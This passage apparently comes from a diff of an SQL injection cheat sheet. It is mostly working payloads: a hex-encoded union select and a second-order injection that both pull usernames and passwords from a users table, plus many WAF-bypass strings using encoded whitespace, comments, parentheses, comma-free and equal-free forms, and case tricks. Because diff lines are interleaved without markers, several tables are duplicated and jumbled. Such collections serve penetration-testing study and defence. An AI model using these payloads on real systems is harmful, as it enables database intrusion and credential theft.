-1' union select 0x2d312720756e696f6e2073656c656374206c6f67696e2c70617373776f72642066726f6d2075736572732d2d2061 -- a
|
||||
```
|
||||
|
||||
|
||||
## Second Order SQL Injection
|
||||
|
||||
Second Order SQL Injection is a subtype of SQL injection where the malicious SQL payload is primarily stored in the application's database and later executed by a different functionality of the same application.
|
||||
|
||||
```py
|
||||
username="anything' UNION SELECT Username, Password FROM Users;--"
|
||||
password="P@ssw0rd"
|
||||
```
|
||||
|
||||
Since you are inserting your payload in the database for a later use, any other type of injections can be used UNION, ERROR, BLIND, STACKED, etc.
|
||||
|
||||
|
||||
## Generic WAF Bypass
|
||||
|
||||
### White spaces alternatives
|
||||
### White Spaces
|
||||
|
||||
* No space allowed (`%20`) - bypass using whitespace alternatives
|
||||
```sql
|
||||
?id=1%09and%091=1%09--
|
||||
?id=1%0Dand%0D1=1%0D--
|
||||
?id=1%0Cand%0C1=1%0C--
|
||||
?id=1%0Band%0B1=1%0B--
|
||||
?id=1%0Aand%0A1=1%0A--
|
||||
?id=1%A0and%A01=1%A0--
|
||||
```
|
||||
* No whitespace - bypass using comments
|
||||
```sql
|
||||
?id=1/*comment*/and/**/1=1/**/--
|
||||
```
|
||||
* No Whitespace - bypass using parenthesis
|
||||
```sql
|
||||
?id=(1)and(1)=(1)--
|
||||
```
|
||||
* Whitespace alternatives by DBMS
|
||||
```sql
|
||||
-- Example of query where spaces were replaced by ascii characters above 0x80
|
||||
♀SELECT§*⌂FROM☺users♫WHERE♂1☼=¶1‼
|
||||
```
|
||||
Bypass using whitespace alternatives.
|
||||
|
||||
| DBMS | ASCII characters in hexadicimal |
|
||||
| Bypass | Technique |
|
||||
| ------------------------ | ---------------------- |
|
||||
| `?id=1%09and%091=1%09--` | Whitespace alternative |
|
||||
| `?id=1%0Aand%0A1=1%0A--` | Whitespace alternative |
|
||||
| `?id=1%0Band%0B1=1%0B--` | Whitespace alternative |
|
||||
| `?id=1%0Cand%0C1=1%0C--` | Whitespace alternative |
|
||||
| `?id=1%0Dand%0D1=1%0D--` | Whitespace alternative |
|
||||
| `?id=1%A0and%A01=1%A0--` | Whitespace alternative |
|
||||
| `?id=1%A0and%A01=1%A0--` | Whitespace alternative |
|
||||
|
||||
| DBMS | ASCII characters in hexadecimal |
|
||||
| ---------- | ------------------------------- |
|
||||
| SQLite3 | 0A, 0D, 0C, 09, 20 |
|
||||
| MySQL 5 | 09, 0A, 0B, 0C, 0D, A0, 20 |
|
||||
@ -307,46 +410,60 @@ After this, we can simply authenticate with “admin@example.com” and the pass
|
||||
| Oracle 11g | 00, 0A, 0D, 0C, 09, 20 |
|
||||
| MSSQL | 01, 02, 03, 04, 05, 06, 07, 08, 09, 0A, 0B, 0C, 0D, 0E, 0F, 10, 11, 12, 13, 14, 15, 16, 17, 18, 19, 1A, 1B, 1C, 1D, 1E, 1F, 20 |
|
||||
|
||||
|
||||
Bypass using comments and parenthesis.
|
||||
|
||||
| Bypass | Technique |
|
||||
| ----------------------------------------- | -------------------- |
|
||||
| `?id=1/*comment*/AND/**/1=1/**/--` | Comment |
|
||||
| `?id=1/*!12345UNION*//*!12345SELECT*/1--` | Conditional comment |
|
||||
| `?id=(1)and(1)=(1)--` | Parenthesis |
|
||||
|
||||
|
||||
### No Comma Allowed
|
||||
|
||||
Bypass using OFFSET, FROM and JOIN
|
||||
Bypass using `OFFSET`, `FROM` and `JOIN`.
|
||||
|
||||
```sql
|
||||
LIMIT 0,1 -> LIMIT 1 OFFSET 0
|
||||
SUBSTR('SQL',1,1) -> SUBSTR('SQL' FROM 1 FOR 1).
|
||||
SELECT 1,2,3,4 -> UNION SELECT * FROM (SELECT 1)a JOIN (SELECT 2)b JOIN (SELECT 3)c JOIN (SELECT 4)d
|
||||
```
|
||||
| Forbidden | Bypass |
|
||||
| ------------------- | ------ |
|
||||
| `LIMIT 0,1` | `LIMIT 1 OFFSET 0` |
|
||||
| `SUBSTR('SQL',1,1)` | `SUBSTR('SQL' FROM 1 FOR 1)` |
|
||||
| `SELECT 1,2,3,4` | `UNION SELECT * FROM (SELECT 1)a JOIN (SELECT 2)b JOIN (SELECT 3)c JOIN (SELECT 4)d` |
|
||||
|
||||
|
||||
### No Equal Allowed
|
||||
|
||||
Bypass using LIKE/NOT IN/IN/BETWEEN
|
||||
|
||||
```sql
|
||||
?id=1 and substring(version(),1,1)like(5)
|
||||
?id=1 and substring(version(),1,1)not in(4,3)
|
||||
?id=1 and substring(version(),1,1)in(4,3)
|
||||
?id=1 and substring(version(),1,1) between 3 and 4
|
||||
```
|
||||
|
||||
| Bypass | SQL Example |
|
||||
| --------- | ------------------------------------------ |
|
||||
| `LIKE` | `SUBSTRING(VERSION(),1,1)LIKE(5)` |
|
||||
| `NOT IN` | `SUBSTRING(VERSION(),1,1)NOT IN(4,3)` |
|
||||
| `IN` | `SUBSTRING(VERSION(),1,1)IN(4,3)` |
|
||||
| `BETWEEN` | `SUBSTRING(VERSION(),1,1) BETWEEN 3 AND 4` |
|
||||
|
||||
|
||||
### Case modification
|
||||
|
||||
* Bypass using uppercase/lowercase (see keyword AND)
|
||||
```sql
|
||||
?id=1 AND 1=1#
|
||||
?id=1 AnD 1=1#
|
||||
?id=1 aNd 1=1#
|
||||
```
|
||||
* Bypass using keywords case insensitive / Bypass using an equivalent operator
|
||||
```sql
|
||||
AND -> &&
|
||||
OR -> ||
|
||||
= -> LIKE,REGEXP, BETWEEN, not < and not >
|
||||
> X -> not between 0 and X
|
||||
WHERE -> HAVING
|
||||
```
|
||||
### Case Modification
|
||||
|
||||
Bypass using uppercase/lowercase.
|
||||
|
||||
| Bypass | Technique |
|
||||
| --------- | ---------- |
|
||||
| `AND` | Uppercase |
|
||||
| `and` | Lowercase |
|
||||
| `aNd` | Mixed case |
|
||||
|
||||
|
||||
Bypass using keywords case insensitive or an equivalent operator.
|
||||
|
||||
| Forbidden | Bypass |
|
||||
| --------- | --------------------------- |
|
||||
| `AND` | `&&` |
|
||||
| `OR` | `\|\|` |
|
||||
| `=` | `LIKE`, `REGEXP`, `BETWEEN` |
|
||||
| `>` | `NOT BETWEEN 0 AND X` |
|
||||
| `WHERE` | `HAVING` |
|
||||
|
||||
|
||||
## Labs
|
||||
@ -373,6 +490,7 @@ Bypass using LIKE/NOT IN/IN/BETWEEN
|
||||
## References
|
||||
|
||||
* [Analyzing CVE-2018-6376 – Joomla!, Second Order SQL Injection - Not So Secure - February 9, 2018](https://web.archive.org/web/20180209143119/https://www.notsosecure.com/analyzing-cve-2018-6376/)
|
||||
* [Implement a Blind Error-Based SQLMap payload for SQLite - soka - August 24, 2023][https://sokarepo.github.io/web/2023/08/24/implement-blind-sqlite-sqlmap.html]
|
||||
* [Manual SQL Injection Discovery Tips - Gerben Javado - August 26, 2017](https://gerbenjavado.com/manual-sql-injection-discovery-tips/)
|
||||
* [NetSPI SQL Injection Wiki - NetSPI - December 21, 2017](https://sqlwiki.netspi.com/)
|
||||
* [PentestMonkey's mySQL injection cheat sheet - @pentestmonkey - August 15, 2011](http://pentestmonkey.net/cheat-sheet/sql-injection/mysql-sql-injection-cheat-sheet)
|
||||
|
Loading…
Reference in New Issue
Block a user